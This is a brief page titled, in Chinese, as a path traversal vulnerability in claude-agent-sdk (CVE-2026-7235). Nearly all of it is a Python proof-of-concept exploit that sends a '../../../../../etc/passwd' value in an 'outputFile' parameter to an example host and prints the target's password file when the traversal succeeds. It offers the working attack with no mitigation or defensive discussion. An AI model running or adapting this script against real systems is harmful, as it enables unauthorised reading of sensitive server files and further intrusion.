CVE-2026-7235: claude-agent-sdk路径遍历漏洞

import requests # Target URL (Example) target_url = "http://vulnerable-host/api/agent-output" # Malicious payload to traverse to /etc/passwd # Using '../' to escape the current directory payload = { "outputFile": "../../../../../etc/passwd" } try: # Sending the malicious request response = requests.get(target_url, params=payload) # Checking if the exploit was successful if response.status_code == 200 and "root:" in response.text: print("[+] Exploit successful! Sensitive file content:") print(response.text) else: print("[-] Exploit failed or target is patched.") print("Status Code:", response.status_code) print("Response:", response.text[:200]) except Exception as e: print(f"[!] An error occurred: {e}")